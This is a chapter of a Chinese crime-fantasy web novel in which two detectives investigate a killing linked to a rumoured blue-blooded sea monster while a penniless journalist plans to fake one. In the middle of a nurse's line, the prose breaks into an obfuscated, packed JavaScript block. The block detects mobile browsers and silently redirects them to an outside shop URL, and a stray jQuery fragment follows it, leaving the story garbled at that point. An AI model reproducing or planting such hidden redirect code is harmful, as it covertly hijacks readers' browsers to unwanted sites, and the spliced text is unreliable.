瑞达达喝酒不喜欢去酒吧,倒不是不喜欢酒吧的环境,只是单纯的支付不起那里的酒水。 不过没什么关系,因为他的出租屋里也有一张圆形的高凳,他还有两个和酒吧吧台差不多高的衣柜,关了灯只开着台灯的话,就和酒吧一模一样了不是嘛。 瑞达达在自动售货机里购买了两瓶啤酒,一瓶塞进放相机的包里,另一瓶打开就喝。 走在回出租屋的路上,瑞达达一个不小心被绊了一脚,脚上传来一阵痛意,自己就知道是踢到别人的脚了。 “我擦,混蛋你吖没事躺在马路上做什么!” “对不起对不起,我在祭拜神明,没注意到你,真对不起。” 瑞达达回头看了一眼,一个小老头真的跪在路边的绿化花丛面前,对着一株三四十厘米高,纸状叶片,开着白色小伞花的植物,老人正双手合十念念有词。 如果他没认错的话,那应该是一株车轴草。听说是有一些规模不大的宗教,会奉一些奇奇怪怪的植物为神明。 瑞达达来了兴趣,“喂,老头,你们是什么教派的。” “拉拉藤教。” 瑞达达想了想。 拉拉藤教?没听说过,果然是不入流的小团体吧。 “哦,你为什么在这里祈祷而不去你们的宗教场馆?” “我已经年过七十了,按照教义,我应该在神圣的仪式上自行归天的,但是...” 老人说到这低下了头。 瑞达达不屑地哼了一声,几乎所有的宗教都有这样的传统,所以他才不要加入宗教。 “那你现在祈祷什么啊,忏悔吗?” “不是,我...我遇见了不幸的事情,我看见了一个男人倒在了血泊里,他是被怪物杀死的,愿神圣的力量保佑我不遭此难,众神在家园垂怜与我,原谅我的罪孽,接纳我回归他们的乐园之中。” “怪物?什么怪物?” “不知道,我只远远放瞥见有蓝色的血,他的身体里流着蓝色的血,不,不对,不是他的,是其他的东西,我能感觉到,那个时候有什么别的东西在哪里。” “那老头你报警了吗?” “报警了,两个刑警正在调查这件事。” “你把那个地址告诉我一下呗,我想去看看究竟是什么怪物。” “你疯了吗?” “哪那么多废话,告诉我地址就行,看见了吗,我的什么徽章都没有,我是无信仰的人,不怕这些。” “......” 拾荒的老人终究还是将案发地的地址告诉给了他,并嘱咐他一定要小心一点。 瑞达达满不在乎的点头。 他根本不相信世界上有怪物存在,不仅不相信,他甚至有个想法,他想要在那个案发现场亲自制造一个怪物。 真相是什么他不知道,也不关心,总之能吸引眼球就行。 瑞达达准备去文具店里买了一些颜料,绿色的,黄色的,红色的,蓝色的,黑色的,混杂在一起越扭曲抽象越好。 “你的银行卡余额不足。” “什么?” 瑞达达看了眼价格,足足五千多。他难以置信的指着电子屏上显示的数字, “这是这些破颜料的价格?” “对,先生,系统上显示你享有任何的教派补助,所以只能按原价购买。” “......” “先生我想你可以选购一些水彩,只要加入一点水可以用很久。” 售货员委婉的提醒道,她不知道这个人买颜料是为了什么,但是就她的从业多年对店里货品原价了解,他只能买的起这个。 “加水就行画出各种颜色?” “是的。” “好,就拿这个。” “谢谢惠顾。” 在售货员小姐的笑声中,瑞达达的银行卡立刻被清空了余额。 瑞达达拎着一盒水彩,虽然钱是一点没有了,但瑞达达的心情非常好,因为他觉得,很快钱就会回来,而自己很快将成为中心市最出名的记者。 嘿,一名无宗教主义的大记者,说不定他还是中心市头一位呢! 想着瑞达达高高兴兴的赶路,烂尾楼离瑞达达租住的房子不远,他走了大概一个小时左右就抵达了烂尾楼。 抵达目的地后,发现了一个新的问题。 他不知道案发地具体是在哪栋楼哪一层,他忘记问那么老家伙了。 瑞达达懊恼的一拍脑门。 好在,他虽然记性不好但是不笨,如果这附近真的发生了案件的话,笨蛋警察们应该有拉警戒线,自己只要找哪里有警戒线就好了。 瑞达达于是开始一栋楼一栋楼的走访。 花了足足一个小时才勉强在荒草丛生的工地里走上一圈。 他不知道的是,予杏为了图方便,直接用木条将案发房间的门封上,然后就带队离开了,鉴实人员没说什么,已经六神无主的斌北也没说什么。 但是此刻,重新回到起点,一无所获的瑞达达想要骂人。 瑞达达眼前的建筑群,三四十栋楼,每栋都有十几层,还没有安装电梯。要让他一个人一层一层的去找,找到明天早上也找不到那个案发现场啊。 瑞达达有些崩溃,他盯着自己胳膊上密密麻麻的新鲜蚊子包,一咬牙一跺脚。 不行,不能就这么回去。 就算是找不到那个该死的现场,他在这骗烂尾楼里伪造一个怪物也是一样的。 瑞达达说干就干,他从水彩盒子里随机扣出一块不知道什么颜色的水彩,丢进矿泉水里,仔细摇晃了一番后,得到一瓶乍一看黑不溜秋的液体。 瑞达达将这瓶液体倒在手上,然后仔细的一顿不落的抹在自己脸上。 找了一出距离路边很近的高草丛,蹲守在里面,等着有哪个倒霉蛋路过,然后吓死他们。 他悄无声息的在草丛中喂了半天的蚊子之后,发现一个严重的问题。 这个鸟不拉屎的鬼地方真的没有人路过! 瑞达达感觉自己快疯了,他略有些尴尬的从草丛中站起来。 然后他发现自己也不是什么都吓不到,他刚从草丛中站起来,就吓到了前方另一片草丛边的一条大蛇。 那蛇显然吓了一跳,一瞬不瞬的盯着瑞达达吐信子的动作都慢了。 瑞达达咽了口口水,大叫了一声扭头就跑。福无双至,祸不单行的,瑞达达脚下一软,踩到了一坨软趴趴,恶心心的生物,随即又才到了另一坨,然后就是不停的踩到。 瑞达达已经疯了,他确定自己踩到了某种软体生物,他不敢去看脚下的草丛中是什么鬼东西,他失魂落魄的朝着前方狂奔,跌倒了又爬起来继续狂奔。 一瞬间他脑海里想到了无数可怕的想法,这导致他无法思考,也完全无视了而边一声声无辜的“呱”。 斌北睡不着,不论他多么努力都睡不着。 他烦躁的离开了家,开车在距离烂尾楼几公里的地方,找到一个能远远看见那片废弃建筑群的天桥。 斌北吹着夜风,默默给自己点了一支烟。 然后就看见烂尾楼边缘的草丛里跌跌撞撞冲出来一个人,那人一冲出草丛就倒在马路边上不动了。 斌北赶紧开车过去,发现这个人已经晕过去了,他把自己的脸涂成了绿色,手里还捏着一盒水彩,一看就是一个货真价实的疯子。 斌北不知道这个人是出于什么目的才会干这种事,但他还是好心的将这个人送去了附近的小医院。 第二天从医院的病床上醒来,他立刻发现自己正在医院里。 瑞达达的第一想法就是。 不好,我没钱了。 此时病房里只有他一个人是醒着的,另外两张病床上虽然有人但是都还没醒。 于是瑞达达慢慢的摸到窗边,往下一看,估摸着自己这是在三层,瑞达达心一横,翻窗就往下跳。 幸运的是他摔的不重只是扭伤了脚,不幸的是他被正下方一楼房间里的人发现了。 想不发现都难,一楼的护士们正在开晨会然后窗户外面就掉下来一个人,这个人还有一张绿色的脸。 瑞达达非常的无语,他现在有一个好消息和一个坏消息,好消息是他发现昨天那个将他带来医院的人已经他昨天的住院费付了,坏消息是他扭伤脚的医药费得自己付了。 他没有钱,一点都没有了,他不得不打电话给那个该死的主编试图预支工资。 “预支工资?可以,拿出一篇像样的报道来,我就给你预支工资。” “......好。” 瑞达达虽然不知道昨天晚上自己踩到的是什么,但是他现在能够写出一篇关于烂尾楼怪物的文章了。 七月二十一日 案发第二天 警方很快通过烂尾楼的贷款偿还信息追踪到了死者的身份。 通过死者的身份信息可以得知: 死者名叫杨程 信仰:万神教 年龄:三十九岁 职业:曾经是一名商品推销员,目前无业。 中心市本地人,但曾经在邻市居住过一段时间,家庭人口简单,有妻子和女儿。 妻子安,年龄三十六岁,潮汐市人,信仰月亮神教,目前无业 女儿小等,年龄十岁 就读于中心市一小,因为身患重病休学正在休学中,目前在中心第一人民医院就医。 有了线索予杏和斌北很快行动起来。 上午九点三十分,予杏和斌北驱车抵达了中心第一人民医院。 中心市的三甲医院有三所,其中最受患者认可的还是中心市第一人民医院。作为一所综合型医院,中心市第一人民医院占地约十万平方米,住院楼五栋都与门诊楼以廊桥相连,呈现一个个环形构造。 斌北将车停好在停车场里,予杏从副驾驶坐上下来,就朝着东南方向走。 “喂,你往哪走呢?住院楼在那边。”斌北指着反方向大声道。 “那边有导航图。” “不用看那破图了这地方我熟的很,跟我走就对了。” 予杏没有犹豫立刻转身,跟在斌北的身后往楼群中走去,他们走出停车场左转经过两栋门诊楼以及两个小花园,再右转进入三号楼,斌北径直走入了电梯按下了七楼的按钮,穿过楼与楼之间联通的廊桥,很快抵达了757号病房。 “就是这间病房没错吧。” “嗯。” 斌北慢慢的,慢慢的走到病房门口,看着房门沉默了良久,回头叮嘱予杏道: “杨程的死讯,我一个进去和她们说好了,你就在那里外面,最好不要说话。” 予杏点了点头,他本来也没打算插嘴的,给家属带去死讯这种事情对他来说有些太过沉重了。 斌北敲响了房门,不一会儿门就被打开了,随着房门的开启,病房里一股浓烈的苦味扑面而来。 这是个单人间,病房不大,只有七八平米,看上去就像是用储藏间零时改作病房的。床边大大的床头柜上堆满了药材,小等躺在床上闭着眼睛,可能因为满屋的苦涩,也可能是病痛的折磨,这个可怜的孩子眉头紧皱,睡的十分煎熬。 安女士面容憔悴,磕肿的眼睛无神地望着门外,她一手扶着门边,表情略带不解的看着门外的两个陌生人。 刚刚她听见有人敲门,她还以为是医生来了,但眼前两个人并没有穿着白大褂,自己好像也从没在医院见过他们。 安女士颇为困惑地问道:“你们是?” 可能是安女士的精神状态不太好,没有看出他们的身份,斌北用手指了指自己衣服上的金属徽章,又拿出来警官证明,证实自己的身份:“你好,我们是中心市警局的,有一些事情想和你谈谈。” 安显然有些不知所措,她揪紧了衣角,“有什么事?” 斌北往房内张望一眼,不忍心打扰孩子睡觉,只能轻声地询问:“我们去外面说吧,别吵到孩子。” 安回头看了孩子一眼,旋即点了点头,跟在的身后走出房间,然后很轻很轻的关上了房门。 医院里常年人满为患,没有空余闲置的房间可以和安好好的说案件的事情。予杏看了眼楼下的花园,想着要不就去花园里谈好了,却见斌北领着安一路向前,穿过了廊桥走进会诊大楼里。 斌北无视排着长队的人群,轻车熟路的插队走进一间会诊室。 斌北刚推开会诊室的门,予杏就看见会诊室里,一名穿着白大褂的年轻男子正半跪在地上抱着一只垃圾桶狂吐不止。 发现门被打开,那人循着声音望过来,似乎还有些迷迷糊糊地, 他勉强没有瘫下的上半身像是被风吹的黄花菜一样,控制不住的打着旋地摇摇晃晃,眼镜之后无神的眼睛在看见斌北后定了定,惨笑着道: “是斌北警官啊,你来的正好,我好像脱力了,请拉我一下,我想去厕所洗个脸。” “我有正事,予杏,你带他去吧。” “什么?” 予杏还没来得及说什么,就被斌北拎起后衣领,跟同样被拎着后脖领的医生一起,被斌北无情的丢到了病房门外。 “可恶。” 予杏嘴角狠狠下垂了两个像素点的弧度,暗搓搓的生气,这已经是斌北这个家伙第二次拎他的衣领了。 “小兄弟,扶我一下呗。” “......” 予杏扫了一眼那个医生的名牌, 姓名:青梧 职位:句芒医生。 予杏有些错愕,他还是第一次见到这么年轻的句芒医生。 句芒医生,一个很糟糕的职业,他们几乎每一个都是疯狂的赌徒,将自己的生命压在赌桌上和死神对赌,试图赢回另一条生命。 因为“反噬”的存在,医生是没有办法对病患使用刀具的,划伤病人等于划伤自己,现代医疗主要依靠药物治疗治疗,但就算是药物治疗也是要承担一定的风险的,根据历史经验,患者必须在知道自己服下的是什么药物的前提下,自己吃下药物,否则药物的效果就会反噬医生。 这很不容易,因为不是每一个患者被送进医院的时候还是保持清醒的,他们听不清医生在讲什么,或者直接就是昏迷状态,于是句芒医生这个职业诞生了。 这个职业的门槛很高,必须拥有高超的医术,极强的判断力,以及敢于对意识不清的患者用药的决心。他们几乎每次都会被药物反噬,经常会有生命危险。 予杏忍不住多看了这名虚脱的站不起来的医生两眼,他很年轻和自己差不多年轻,偏瘦但是很高,鼻梁高挺,眼睛的颜色有点淡更接近于深棕色,眼底有两道很深的黑眼圈。 青梧不好意思眨眨眼:“那个,你干嘛一直盯着我看?” 予杏偏过头,用非常无辜的声音道:“因为我不知道厕所在哪里。” “哦哦哦,我们先向左边走,然后一百米左右的地方右转。” 予杏点点头,架着青梧往他指的方向走。 “你也是警察吗?” “嗯。” “那你们来找安女士是发生什么事了吗?难道事她的先生出事了吗?” “你为什么会这么想?” “医务站的护士们都很担心,杨程先生已经连续三个月没有交住院费了,进一步治疗的费用更是遥遥无期,我们都很担心他会去做傻事。” 青梧医生犹豫了一下问道:“既然你们来了,难道说他真的去杀人了吗?” 予杏偏头,稍微观察了一下青梧的表情,他言语认真诚恳,眼球并不摇摆晃动,鼻子的状态正常,不是会眨巴眼睛说明他稍微有些紧张。 他说的应该是真话。 予杏于是对他摇摇头,“目前还不能确定。” 青梧:“不能确定吗?那就好,不,那真是太好了,只要人还好好的活着,就比什么都重要。” 医生这个职业向来盛产过度善良的理想主义者,句芒医生更是一群善良过头的圣母。 不过予杏并不讨厌这类人,也不想告诉他杨程已经死亡的实事,他不喜欢用残酷的事实打击善良心。 予杏于是转变话题,“你刚刚说‘难道他真的去杀人了’,你为什么会这么想,是之前发生过什么吗?” “这个...我也是听护士们说的,听说他曾经表示他筹到钱的,哪怕去杀人也要筹到钱。” “他有提过想要杀谁吗?” “好像没有,哦,等等,他说什么鱼,什么鲛什么的,具体的我也不是很清楚,我也是听护士们偶然跟我说起的。” 予杏默默点了点头,心中有一个声音格外响亮。 人面鲛。 青梧洗完脸,苍白的脸上多了一丝丝地血色。予杏搀扶着他重新回到会诊室门口的时候,斌北和安的谈话似乎还没有结束,斌北好像是从内把诊室房门锁了,予杏打不开门但听见门内安女士哀痛的哭声。 予杏稍微后退了半步,他一点也不想进去面对死者家属,干脆靠在门旁边的墙上,等着斌北和安女士出来。 青梧似乎恢复了一点力气,也不知道从哪里找到一个干净的垃圾桶,反扣在地上,当作是板凳,随即就在自己诊室的门口,继续给病人看诊。 予杏看了他看他,不由地感慨这个人的工作热情会不会太过了。 作为句芒医生本身一定是至少两个医学领域的专家,享有副院长级别的待遇。在医学上有一定成就又愿意舍生忘死的医生大多都是一把年纪,像青梧这个年纪能却在做句芒医生的,很明显他是个天才,但同样明显的他是个白痴。 予杏讨厌白痴也不太喜欢天才,超出正常的人很容易给周围的人带来麻烦。 比如现在。 刚刚还好好靠在墙上的,很快就被聚集过来的病患们从门口挤到了走廊边缘。予杏不知所措地望着人潮滚滚向前拥挤,几乎立刻就放弃挤回去的妄想,不过正好护士站就在附近。 予杏长着一张漂亮的脸,所以当他甜甜的笑着打扰了几名护士的休息时间时,并没有被护士们指责。 反倒是手上不太忙的护士小姐们,纷纷围拢过来,对于予杏的发问,一个个笑盈盈地拿出了平时议论八卦的热情。 “你要打听杨程?” “杨程是谁啊?” “哎,就是那个757号床小等的爸爸啊。” “哦哦哦,知道了知道了。那孩子挺可怜的,得那种病。” 予杏见缝插针道:“还不知道小等得的是什么病?” “就是那个啊,就是败血症,哎呀跟你说这个你也不一定懂,总之就是一种一开始像是普通的感冒发烧但后面越来越严重,死亡率极高,治愈率极低的一种病。” “听上去很危险。” “是啊,都不知道能不能挺过这个月了,你去看过他们病房了吗?” “嗯,虽然是单人间但是也太小了一点。” “能不小嘛,医院里没床位了,又不能让她住在走廊上,那病房还是院长看她们可怜硬用杂物间改的,没算她们住院费。” “那关于杨程事情你们知道些什么吗?他最近有说过什么,做过什么,什么事情都可以。” “杨程啊,他很少在医院的,我记得他好像回家筹钱去了。” “嗯,医药费拖欠好久了,我听说是回老家借钱了。” “我怎么听说是去借高利贷了啊。” “你听错了吧。” “啊,可是我听说他去找一个叫什么鲛的人去要钱了。” “请你细说说关于那个鲛的人。” “我嘛,”护士开心的指了指自己,随后脸上露出考试一般努力回忆的表情,“我想想我想想。” 在予杏期许的目光中,那位护士终于一拍手,眼睛亮亮的道,“他那天好像是和他太太说的,说我要去找啥鲛要钱,要是他不给的话,我就杀了他。” “我吓了一跳呢,后来想想说不定是我听错了,杨程怎会杀人呢,杀人的话不仅解决不了医药费的问题,那些保险金调查员还会判罚他家人一大笔赔偿呢金,怎么想都不可能吧。” 予杏跟着点了点头。 “哎呀,说曹操曹操到那个保险金调查员今天怎么来医院了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375917|141006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 护士颇为不满地道。 予杏一抬头看见斌北已经站在护士站附近等他了。 予杏朝护士们挥挥手,向着斌北走去,刚走近一点,就听斌北率先开口问道:“你打听到什么了?” “没什么,只有一些有意思的事情。”予杏轻描淡写地一带而过,“你那边呢?” 斌北的表情非常的苦恼,他沉浸在自己的世界里,止不住的摇头道: “你的设想错了,安确实在案发当天晚上离开过医院,她离开了两个小时左右,据她说是前往了安康路一家大型超市购物,这个说法我已经向帮忙照看孩子的志愿者取得了证实。” “那个超市在城市北面,距离案发现场差不多二十公里,两个小时的时间不足够她前往超市,再前往案发现场最后回到医院的。” “当然先去案发现场再去超市也一样,从那天之后她就一直没有再离开医院了,我觉得她应该不可能去案发现场做伪装工作。” 予杏点点头不置可否,“所以下一步呢?你应该有下一步调查的方向了吧?” “...我想去超市在验证一下安的说法。”斌北说着从文件夹里拿出一个装着小票的透明袋,“我想超市应该有监控录像。” 予杏点点头,然后将脑袋探出窗外瞧了瞧外面燃烧地火热的大太阳,“你自己去吧,路上小心。” “你不跟我一起去?” “天太热了,我在医院打探其他情报也是一样。” “你,算了,随你便。” 里中玄超市 安康路最大的生活超市 “警察?”经理的脚步顿了顿,油腻的秃头在超市生鲜区橙红的灯光下显得十分肮脏,他瞪着死鱼一眼的眼睛轻蔑的看了看斌北。 随后扭头自顾自地继续清点货品,漫不经心地随口问道:“是上一回的两个小偷抓住了吗?” 斌北举着证件,耐着性子解释,“不是,我是刑事课的,是为了调查另一起案子来这里,希望你能配合我们。” “刑事课,哦,我知道了,就是赔偿金调查员啊?” 经理的声音轻蔑,这次连头都没有回。 虽然每一个城市都不一样,但在中心市,警局在中心市居民中的认可度可能还没有保险公司高。像经理这样完全不将警察放在眼里的人斌北也见识过不少,他倒是对经理的态度不甚在意,只希望他能配合一下,让调查能顺利进行下去。 “我想要调取你们超市的监控摄像头,可以配合一下吗?” “上一次不是调看过了嘛。” “所以都说了,我在调查的是另一起案子。” “真烦啊你们。”经理毫不客气地骂了一声,“等一下,等我这边清点完再说。” “...请你配合。” 斌北根本不吃他那套,直挺挺地堵在经理的面前,低头凶巴巴地盯着经理的脸看。 斌北又高又壮直接堵死了经理的去路,逼的经理无法忽视他的存在。 “你干嘛,我要去下一个区域了。” “请你配合。” 经理狠狠的瞪着他,但是毫无用处,他一个人根本挪动不了斌北这座“高山”,两人僵持了一会儿之后,经理也只能认输。 “好好好,算你狠。” “走吧。” 超市的监控摄像头设置的很多,从商品货架到收银台,从走进超市开始,到离开超市之前,每一个顾客的行踪都逃不过摄像头的监控。 但就算是这样,商品被盗窃的事情还是时有发生。 斌北其实已经去过一趟监控室了,但保安坚持没有经理在场谁都不能调监控,斌北也是无可奈何才必须请经理和自己走一趟。 此时,监控室的电脑上加速播放着推定案发时间当晚的监控录像。 因为摄像头太多了找起来难免麻烦,安在超市里具体买了什么,挑选了多久斌北没时间细细确认了,干脆就只看了超市出入口的监控画面。 斌北从口袋里拿出装着小票的透明袋递给一边的经理。 “你能不能帮忙核实一下这张小票是不是出自你们超市。” 经理只扫了一眼就不耐烦的说: “是的啊,上面有我们超市的盖章呢,你看不见吗?” “那你签个字吧,如果以后这张小票有问题,我还来找你。”斌北拿出一张取证单,指着上面的空白处道。 “......” “真是烦死了。” 经理又骂了两句,带着小票离开了监控室,找负责这方面的专人核实。 他走了之后斌北开始查看每一个出入口的监控,屏气凝神地等待安女士出现在画面上。 他有点紧张,因为安女士看起来是一个可怜的好人,所以现在他也不知道自己究竟是希望安女士说了谎,还是希望她没说谎。 大约二十分钟左右经理就回来了。 “确认过了,是我们超市的小票,字我也签好了,有问题尽管来找我。” “哦,谢谢。”斌北敷衍地回应一声,他的目光死死盯着屏幕,看都没看一眼经理递过来的取证单。 此时的中心市第一人民医院 予杏一个人坐在走廊的长椅上翻阅杂志,这本杂志是他刚刚从楼下的报刊亭里买的。 这是据书店老板所说,灵异杂志在本市的销量一直很好,这本他特别推荐的特辑上,刊载了中心市近些年里盛传的全部诡怪传说。 “真是稀奇,予杏警官你看起来不像是喜欢看灵异杂志的人。” 予杏闻声抬头看去,就见是捧着巨大保温饭盒的青梧医生。 “已经过了饭点了吧?” “确实过了一点,我也没办法好不容易看完上午的号了,我得抓紧时间吃午饭,下午还有好多号,予杏警官你不介意我坐在另一边吧?” “当然,请坐。” 予杏说着往长椅的边缘挪了一点距离,让空出的位置能更大一点。 青梧瘫坐在椅子上,有气无力的捏着饭勺一口一口吃着饭盒里的食物,红烧排骨,蒜蓉炒猪肝,大蒜茼蒿。予杏忍不住多看了眼, “句芒医生以春神为名,除了主任医师以及名义副院长外,本身也被神教赋予荣誉主教的头衔,医生,你不忌口的吗?” “叫我青梧就好了,可饶了我吧,我们本身就挺累的,就指望吃点好的补充营养呢。” 青梧说着努力的举起饭勺挖了一大口米饭塞进嘴里,“予杏警官你下午准备一直在这里看杂志吗?不去查案子吗?” “嗯,比起案子,我还有其他感兴趣的事情,所以不急。” “还有比案子更重要的事情?” “有啊,比如说医生你认识斌北多久了?” “一两年了吧,警局的体检都是在我们医院做的,我从斌北第一次来我们医院体检的时候就认识他了。” “是嘛?那在你看来,斌北是会害怕鬼怪的人吗?” “斌北警官好像从小就没有信仰,他应该是不怕的吧,但是他好像挺怕抽血的,每次来医院抽血体检的时候,他都哆哆嗦嗦的不敢用针扎自己的指头,护士只能干着急,她们每次都会跑来跟我吐槽。” 予杏的目光暂时从杂志中移开,他想象了一下那个画面。 接近一米九,一身肌肉的黑皮警察坐在取血窗口,眼泪汪汪的捏着细针死活不敢扎自己一下,众人无语的围着他,恨不得自己动手帮他取血。 “挺有意思的,难怪你对体检的印象深刻。” “是啊,予杏警官怎么知道我对体检的印象深刻?” “因为说起斌北,你立刻就想到警局体检不是吗?” “不是哦,虽然印象深刻,但我提起这件事只是因为想逗你笑而已。”青梧偏了偏头,“予杏警官你完全不会笑的吗?” “我正在笑。” 予杏说着露出一个温和的微笑,他笑起来很好看,一瞬间像是冰雪笑容,夏花烂漫一般,温和的亲切的感觉出现在他身上。 但只有一瞬,他又恢复了面无表情,好像就是故意告诉青梧,他刚刚是在假笑一般。 “予杏警官,你这个人真别扭。” “我只是有点懒,并觉得没有必要。” “太可怕了,这种症状维持多久了?需要我帮你去精神科挂个号吗?我认识几个很好的医生。” “嗯,需要的,我最近也感觉自己的状态有些不对,进入警局之后坏毛病变的越来越多了,等这个案子告一段落,我就抽空去看看。” “你认真的?” “当然。” 青梧确信予杏是个实打实的怪人,和这种怪人做朋友是一件很不容易的事情,现在得赶紧吃一块香喷喷的排骨给自己压压惊。 美味的食物让他心情愉悦,他觉得应该换一个话题聊了,他不着痕迹地撇了一眼予杏手里的杂志。 “这本杂志好看吗?” “有些故事其实还挺有趣的。”予杏翻了一页,“青梧医生你知道一种叫做人面鲛的怪物吗?” “不知道,那是什么?” “这篇文章里说,世界上存在一种怪物,他们生活在海底一万米深的海沟里,他们有大王花一样的口器,鱼一样不会眨动的眼睛,他们上半张脸肖似人类,有长长的头发,但其实都是细密像是发丝一样的触手,他们肩膀以下有着海蛇一样的身体,他们有四肢,他们的四肢很长,但没有手,他们的臂膀如同蜈蚣那样,是细细的肢节。” “这种怪物被称为人脸鲛,人脸鲛在海底游动是速度很快,他们游动的时候会发出‘沙沙沙’的撕扯纺织袋一样的声响,声音响动的频率非常诡异,每秒六十到一百次,和人类心脏跳动的频率一样。说到心脏传说人脸鲛有三个心脏,其中只有一颗是真的,只要真的心脏才会流出鲜血 蓝色的鲜血。凡是在漆黑如墨的深海之底遇见过他们的人类,没有一个活着回到地面上。” 予杏面无表情平静的讲述着,身边的青梧也毫不在乎地“咔嚓咔嚓”啃食排骨。 但是坐在他们对面长椅上的小女孩恐惧的颤抖着身体,突然“哇”一声大哭起来。 予杏和青梧齐齐一激灵。 青梧立刻放下饭盒窜了过去,蹲在女孩的跟前,一边轻轻拍女孩的后背,一边安慰她没事的,哥哥是骗你的怪物都是假的。 予杏一言不发地站在他们旁边,“没事的,她一会儿哭累了,就不哭了。” 青梧苦恼地道:“你吓着她了。” “是吗,我觉得不可怕。”予杏不以为意的耸耸肩,“小朋友我建议你哭泣时间不要超过十五分钟,不然对身体不好。” 青梧:“......” “哇!” 女孩哭地更大声,这次可能是因为气的。 3. 第 3 章 斌北匆匆忙忙赶回医院的时候,予杏还坐在那个长椅上悠哉悠哉地看杂志,他又买了几本新的,端正地坐在那里慢条思索地翻阅着,至于青梧他已经忙着去看病房了。 发现斌北匆匆地跑过来予杏的似乎有些诧异, “哦?你回来医院做什么?要送我回家吗?” “我已经证实过了,那张小票是真的,超市门口的监视器显示安大约在九点三十分抵达超市,这符合她从医院出发抵达那家超市所需要的时间,她离开的时间时十点十四分点,如果那天晚上有堵车的话那她抵达医院的时间也是合理的。所以现在一切都完全符合安的描述。” 予杏闭了闭眼睛。 好像离开的时间有一点早,抵达医院的时间有点迟了,那段路那么堵的吗? 不过无所谓吧,如果她十点左右离开超市,那么先到案发烂尾楼再回到医院的话应该接近十二点了,所以她绝不可能去过烂尾楼的案发现场。 予杏若有似无地点点头:“很正常,她没有必要向我们撒谎。” “可是这样的话,那岂不是没有人在案发之后去过现场,我们现在还有其他的嫌疑人吗?” “有啊,不是还有流着蓝色血液的怪物这个选项吗。”予杏像是故意刺激他一样咬着重音说出这句话。 “现在是开玩笑的时候吗?” 斌北下意识抓住予杏的肩膀,一般人不会这么做,毕竟他们也会有被人抓住肩膀的感觉,怪异又难受。但是斌北的精神似乎已经紧张到不顾上这些了事情了,他急需要予杏面无表情的告诉他还有其他的可能。 “你很害怕吗?斌北你是一名警察,首先你得勇敢一点。” 予杏浅色的眸子古井无波。 刚他的视线对上,斌北就感觉像是催眠被唤醒一样,大脑一片清明,理智回归之后,斌北松开手慢慢站直起来。 “喂,你是开玩笑的对吧。” “杨程的社会关系非常简单,除了安,我们现在没有其他可怀疑的人了。” “那......”斌北咽了口唾沫,“我们就此结束调查吧,再过十四天我们就可以封存案件...” “然后以悬案做结?”予杏淡淡地道。 “......” 斌北没有回话,别开了头去。 他是警察,他本应该努力找到真相的,他也不想这样,但是他太迷茫了,就像面对一张巨大无边空白的纸,不知从何落笔,就像在面对宏大遥远的未来,不知现在该从何做起。 予杏合上了杂志,叹了口气。 “喂,我说。” “你想说什么?” “接下来我们该去查看现场了。” 斌北一头雾水,他记得予杏那天不是干脆利落地把现场封起来了吗? 吸取了教训,予杏知道和斌北说话就不能拐弯抹角,一点点弯都不能有。 予杏用手指点了点医院走廊上的监控摄像头,医院里的摄像头不多,这一层一共只有三个,而这个是唯一一个附近有长椅的。 顺着予杏手指的方向,斌北看着那个泛着红光的摄像头发呆。 予杏:“德兴路路口的交通摄像头有一直开着吗?我们可以通过摄像头看看现场有没有人进出。” 斌北恍然大悟,一拍脑袋。 对啊,他们还没有排查现场周边的所有监控摄像头呢,就算不是安干的,也很有可能是不良商家企图把那个鬼地方营造出鬼楼才故意这么做的啊。 斌北像是重新找到了信心,很是兴奋的在原地转了一圈。 “你说的很有道理,我们走。” “现在?” “对啊,现在,赶紧的。” 予杏看了眼窗外,太阳都要下山了,加上晚高峰会堵车,就算斌北开车送自己回去估计也赶不上吃晚餐的时间了。 予杏不由自主地想起来青梧的排骨,他有些饿了,但再看看斌北的表情。 予杏叹了口气“行吧,我们走。” 正如予杏所料,在晚高峰的车流影响下,两人抵达案发现场附近的公路时已经接近晚上七点半了,斌北试着联系了这附近的交通署。 “你要看德兴街附近的所有监控录像?你怎么不早点说,我现在都到家了。” “你能不能赶回来,我们很着急。” “肯定不能啊,下班了,下班了,要调监控你明天来吧,我们警署在德望路121号,早上九点上班,你迟一点九点半左右再来。” 因为同属警方人员,斌北此时也不像是对超市经理那么客气,他愤怒的对着电话那头咆哮。 “你***,我都说了,我们这是在侦办杀人案,很紧急你知不知道。” “骂**,你们**有什么紧急的,反正杀人的**疯子也凉凉,被杀的倒霉蛋家属应该先忙着丧事吧,这么着急讨要赔偿金干什么,明天再见或者不见。” 对方说完立刻就把电话挂断了。 斌北被气的够呛,靠在车边默默无语,他从口袋里摸出一只香烟点燃。 仔细想想交通署的人说的没错,他们确实没有必要这么着急,没人在意受害者什么时候能拿到赔偿金,反正这种坏事降临到他们头上的概率低到可以忽略不计。 但是这个案子不一样。 斌北默默的抽了一口烟,望着远方黑暗深处失神。 那东西。 人面鲛真的存在,他曾经亲眼见过... 斌北的手不知觉地轻微颤抖着,那漆黑如墨的草丛阴影之中,那一声声来着噩梦的“沙沙沙”声传入耳朵。 斌北知道这是自己的幻觉,但是幻觉此刻真实的可怕。 予杏沿着公路走了一圈,仰头去看路边的监视摄影机,每一个监控上都能看见红光闪烁,应该是全部都有开启的,虽然不是太准确,但他推测有可能监测到现场楼栋大门的监视摄影机最多有三台,运气好的话可能有一台会正对那栋楼的楼栋入口。 予杏不疾不徐的绕完一圈回到车子的附近,刚靠近就闻到一股香烟味,绕过车子就看斌北倚在车上沉默着抽烟。 予杏自己是不抽烟的,也受不了这浓重的烟气,他皱着眉头挥舞着手掌试图挥散这些烟雾。 “你怎么了?” 斌北从自己的世界里回过神来,他拉开车门,把抽到一半的香烟按灭在烟灰缸里,然后表情僵硬的道: “没什么,我送你回家吧。” “不去看监控了?” “该死的交通署管监控室说他们早下班了,除非明天的上午九点到了,不然我想我们是看不到监控的。” “哦。” 予杏满不在乎地应和一声,他早就想回家了。 斌北上了车,“你家在哪?” 